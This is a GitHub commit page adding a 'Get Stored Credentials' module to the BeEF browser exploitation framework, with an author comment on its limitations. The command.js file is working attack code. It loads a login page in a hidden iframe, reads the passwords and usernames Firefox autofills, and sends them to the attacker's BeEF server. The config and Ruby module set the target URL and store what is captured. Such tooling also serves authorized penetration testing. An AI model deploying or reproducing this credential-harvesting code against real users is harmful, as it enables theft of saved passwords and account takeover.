Skip to content

Commit

Permalink
Added Get Stored Credentials module
Browse files Browse the repository at this point in the history
Part of issue 558
  • Loading branch information
bcoles committed Dec 26, 2011
1 parent 0f62af0 commit d5dd4f4
Show file tree
Hide file tree
Showing 3 changed files with 140 additions and 0 deletions.
81 changes: 81 additions & 0 deletions modules/browser/get_stored_credentials/command.js
Original file line number Diff line number Diff line change
@@ -0,0 +1,81 @@
//
// Copyright 2011 Wade Alcorn [email protected]
//
// Licensed under the Apache License, Version 2.0 (the "License");
// you may not use this file except in compliance with the License.
// You may obtain a copy of the License at
//
// http://www.apache.org/licenses/LICENSE-2.0
//
// Unless required by applicable law or agreed to in writing, software
// distributed under the License is distributed on an "AS IS" BASIS,
// WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
// See the License for the specific language governing permissions and
// limitations under the License.
//
beef.execute(function() {

var form_data = new Array();
var login_url = "<%= @login_url %>";
var internal_counter = 0;
var timeout = 30;

// create iframe
iframe = document.createElement("iframe");
iframe.setAttribute("id","credentials_container_<%= @command_id %>");
iframe.setAttribute("src", login_url);
iframe.setAttribute("style","display:none;visibility:hidden;border:none;height:0;width:0;");
document.body.appendChild(iframe);

// try to read form data from login page
function waituntilok() {

var iframe = document.getElementById("credentials_container_<%= @command_id %>");
try {

// check if login page is ready
if (iframe.contentWindow.document.readyState != "complete") {
if (internal_counter > timeout) {
beef.net.send('<%= @command_url %>', <%= @command_id %>, 'form_data=Timeout after '+timeout+' seconds');
document.body.removeChild(iframe);
} else {
internal_counter++;
setTimeout(function() {waituntilok()},1000);
}
return;
}

// find all forms with a password input field
for (var f=0; f < iframe.contentWindow.document.forms.length; f++) {
for (var e=0; e < iframe.contentWindow.document.forms[f].elements.length; e++) {
// return form data if it contains a password input field
if (iframe.contentWindow.document.forms[f].elements[e].type == "password") {
for (var i=0; i < iframe.contentWindow.document.forms[f].elements.length; i++) {
form_data.push(new Array(iframe.contentWindow.document.forms[f].elements[i].type, iframe.contentWindow.document.forms[f].elements[i].name, iframe.contentWindow.document.forms[f].elements[i].value));
}
break;
}
}
}

// return results
if (form_data.length) {
// return form data
beef.net.send('<%= @command_url %>', <%= @command_id %>, 'form_data='+JSON.stringify(form_data));
} else {
// return if no password input fields were found
beef.net.send('<%= @command_url %>', <%= @command_id %>, 'form_data=Could not find any password input fields on '+login_url);
}

} catch (e) {
// return if no forms were found or login page is cross-domain
beef.net.send('<%= @command_url %>', <%= @command_id %>, 'form_data=Could not read form data from '+login_url);
}
document.body.removeChild(iframe);
}

// wait until the login page has loaded
setTimeout(function() {waituntilok()},1000);

});

27 changes: 27 additions & 0 deletions modules/browser/get_stored_credentials/config.yaml
Original file line number Diff line number Diff line change
@@ -0,0 +1,27 @@
#
# Copyright 2011 Wade Alcorn [email protected]
#
# Licensed under the Apache License, Version 2.0 (the "License");
# you may not use this file except in compliance with the License.
# You may obtain a copy of the License at
#
# http://www.apache.org/licenses/LICENSE-2.0
#
# Unless required by applicable law or agreed to in writing, software
# distributed under the License is distributed on an "AS IS" BASIS,
# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
# See the License for the specific language governing permissions and
# limitations under the License.
#
beef:
module:
get_stored_credentials:
enable: true
category: "Browser"
name: "Get Stored Credentials"
description: "This module retrieves saved username/password combinations from the login page on the hooked domain.<br /><br />It will fail if more than one set of domain credentials are saved in the browser."
authors: ["bcoles"]
target:
working: ["FF"]
not_working: ["All"]

32 changes: 32 additions & 0 deletions modules/browser/get_stored_credentials/module.rb
Original file line number Diff line number Diff line change
@@ -0,0 +1,32 @@
#
# Copyright 2011 Wade Alcorn [email protected]
#
# Licensed under the Apache License, Version 2.0 (the "License");
# you may not use this file except in compliance with the License.
# You may obtain a copy of the License at
#
# http://www.apache.org/licenses/LICENSE-2.0
#
# Unless required by applicable law or agreed to in writing, software
# distributed under the License is distributed on an "AS IS" BASIS,
# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
# See the License for the specific language governing permissions and
# limitations under the License.
#
class Get_stored_credentials < BeEF::Core::Command

def self.options
configuration = BeEF::Core::Configuration.instance
uri = "http://#{configuration.get("beef.http.host")}:#{configuration.get("beef.http.port")}/demos/butcher/index.html"
return [
{ 'name' => 'login_url', 'description' => 'Login URL', 'ui_label' => 'Login URL', 'value' => uri, 'width'=>'400px' }
]
end

def post_execute
content = {}
content['form_data'] = @datastore['form_data']
save content
end

end

1 comment on commit d5dd4f4

@bcoles
Copy link
Collaborator Author

@bcoles bcoles commented on d5dd4f4 Dec 26, 2011

Choose a reason for hiding this comment

The reason will be displayed to describe this comment to others. Learn more.

There are a few issues with this module:

  • It will fail if the user has saved more than one set of credentials on the domain.
  • It's Firefox only
  • Firefox does not save passwords (by default) for forms with password input fields containing the autocomplete="off" property however this has frustrated some users enough that there's a bookmarklet to remove this property and a few blog posts explaining how to remove this limitation from Firefox (by commenting out ~3 lines of code in nsLoginManager.js).
  • Unfortunately in order for this module to work the BeEF user must supply a same-domain URL which contains a login form. The reason being that Firefox auto-populates forms with stored credentials once the DOM has loaded but not after. As a result we can't add a form to the DOM once the BeEF hook has loaded and expect Firefox to populate it with stored credentials. At least that's my take on it. I haven't bothered to reverse Firefox's stored password system.

Please sign in to comment.